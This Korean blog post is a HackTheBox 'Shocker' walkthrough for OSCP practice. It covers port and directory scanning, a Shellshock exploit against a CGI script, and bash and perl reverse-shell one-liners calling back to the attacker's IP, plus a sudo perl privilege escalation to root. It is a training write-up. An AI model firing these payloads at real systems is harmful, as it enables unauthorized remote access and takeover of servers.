외로운 Nova의 작업실
HackTheBox - Shocker 본문
OSCP 관련 머신중 하나인 shocker을 한번 공격해보겠습니다.
- 구성 환경
공격자 : 10.10.14.4
타겟 : 10.10.10.56
- Nmap
port 스캔을 먼저 해보겠습니다.
nmap -Pn -n -p- -sV -sC -v -T4 10.10.10.56 -oA Shockerport2
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80번 포트에는 apache 웹서버가 실행중에있고, 2222번 포트에는 openSSH 시큐어쉘 서버가 실행중에 있습니다. 웹서버를 한번 방문해보겠습니다.
재밌는 그림이 있네요. 웹서버의 파일 구조를 한번 스캔해보겠습니다.
- gobuster
시작 포인트이므로 medium 워드 리스트를 사용해서 스캔해보겠습니다.
gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150
server-status 경로만 스캔된것을 확인 할 수 있습니다. 기본적으로 디렉토리 리스팅을 끄게되면 디렉토리 경로로 접속했을때 403 포비든이 뜨게되므로 server-status는 디렉토리인 것같습니다. 디렉토리안에 다른게 있는지 확인해보겠습니다.
스캔이 안된것을 확인할 수 있습니다. 방화벽이 막는 것으로 보입니다. 웹서버 파일 구조를 탐지할떄 간혹 웹서버경로 마지막에 ' / '을 넣어줘야하는 경우가 있습니다. 고부스터는 기본적으로 / 을 넣지 않기때문에 -f 옵션으로 넣어줘야합니다. 한번 다시 -f 옵션을 넣어서 스캔해보겠습니다.
cgi-bin 디렉토리가 감지되었습니다. cgi는 예전에 웹서버에서 다른 어플리케이션을 사용해야할때, 메모장, 계산기, 쉘 등등을 사용하기위해 사용하던 방법입니다. 기본적으로 cgi-bin이라는 디렉토리에 cgi관련 스크립트가 있습니다. 방화벽이 막을 수도 있지만 한번 cgi-bin을 스캔해보겠습니다. 이때, 스캔 대상이 스크립트이기때문에 보통 sh,pl,cgi 등의 확장자를 많이 사용합니다. 따라서 확장자를 붙여서 스캔해보겠습니다.
user.sh가 스캔되었습니다. 한번 접속해보겠습니다.
접속했더니 user.sh가 다운로드됩니다. 한번 보겠습니다.
실제 쉘 스크립트가 실행되고 나온 결과물 같습니다. 일단, 쉘이 저희가 접속한 시간이나 컨텐츠 타입등을 결과물로 출력한 것으로 보아 쉘이 저희의 요청 패킷을 가공해서 결과물을 출력해주는 것 같습니다. 이때 패킷의 경우에는 저희가 위조할 수 있습니다. 따라서 쉘 관련 취약점을 한번 검색해보겠습니다.
- ShellShock 취약점
대표적인 쉘 관련 취약점은 ShellShock 취약점입니다. 아래 관련 자료입니다.
https://kinggod-daddong.tistory.com/4
한번 searchsploit 명령어로 취약점 exploit 페이로드를 찾아보겠습니다.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
페이로드를 구했습니다. 해당 페이로드를 가지고 exploit 해보겠습니다. 먼저 아파치는 패킷의 내용을 환경변수에 등록합니다. 따라서 env는 없애줍니다. 또한 '대신 ;을 써줍니다.
() { :;}; echo vulnerable; bash -c "echo this is a test"
위를 가지고 테스트해보겠습니다.
500 에러가 납니다. 서버 환경마다 다를 수 있기 때문에 요래조래 잘해보면
() { :;};echo; /usr/bin/id
해당 값의 페이로드가 먹히는 것을 확인할 수 있습니다.
이제 리버스 쉘을 시도해보겠습니다.
- 리버스 쉘
위 url로 접속해서 bash tcp 리버스쉘 스크립트를 가져옵니다.
bash -i >& /dev/tcp/10.10.14.4/443 0>&1
이후 리버스쉘 포트를 열어줍니다.
이제 페이로드를 전달합니다.
() { :;};echo; /bin/bash -i >& /dev/tcp/10.10.14.4/443 0>&1
리버스쉘이 도착한것을 볼 수 있습니다.
- 쉘 pty
clear 명령어를 쓰면 상대방의 쉘에서 clear 명령어가 일어나기때문에 우리껀 clear가 안됩니다.
이를 가능하게 해주는게 파이썬에 있습니다.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
조금 틀렷긴햇지만 성공한후 clear을 하면
잘됩니다.
- 권한 상승
권한 상승을 할때 첫번째로 볼건 sudo 명령어입니다. sudo 명령어중에서 패스워드 없이 관리자권한으로 실행할 수 있는 것이 있는지 확인해봐야합니다. 이는 sudo -l 명령어로 볼 수 있습니다.
ser shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
perl 프로그램은 sudo를 했을때 perl은 패스워드를 안쓰고 사용할 수 있다는 뜻입니다. perl 프로그램으로 다시 리버스 쉘을 써서 다시 받아보겠습니다.
perl -e 'use Socket;$i="10.10.14.4";$p=446;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
관리자 리버스쉘이 잘 도착한 것을 확인할 수 있습니다.
- 플래그
'Server Penetesting > Hack-The-Box' 카테고리의 다른 글
HackTheBox - nibbles (0) | 2023.04.22 |
---|---|
HackTheBox - brainfuck (0) | 2023.04.21 |
HackTheBox - Lame (0) | 2023.04.20 |
HackTheBox - bashed (0) | 2023.04.12 |
HackTheBox - Legacy (0) | 2023.04.11 |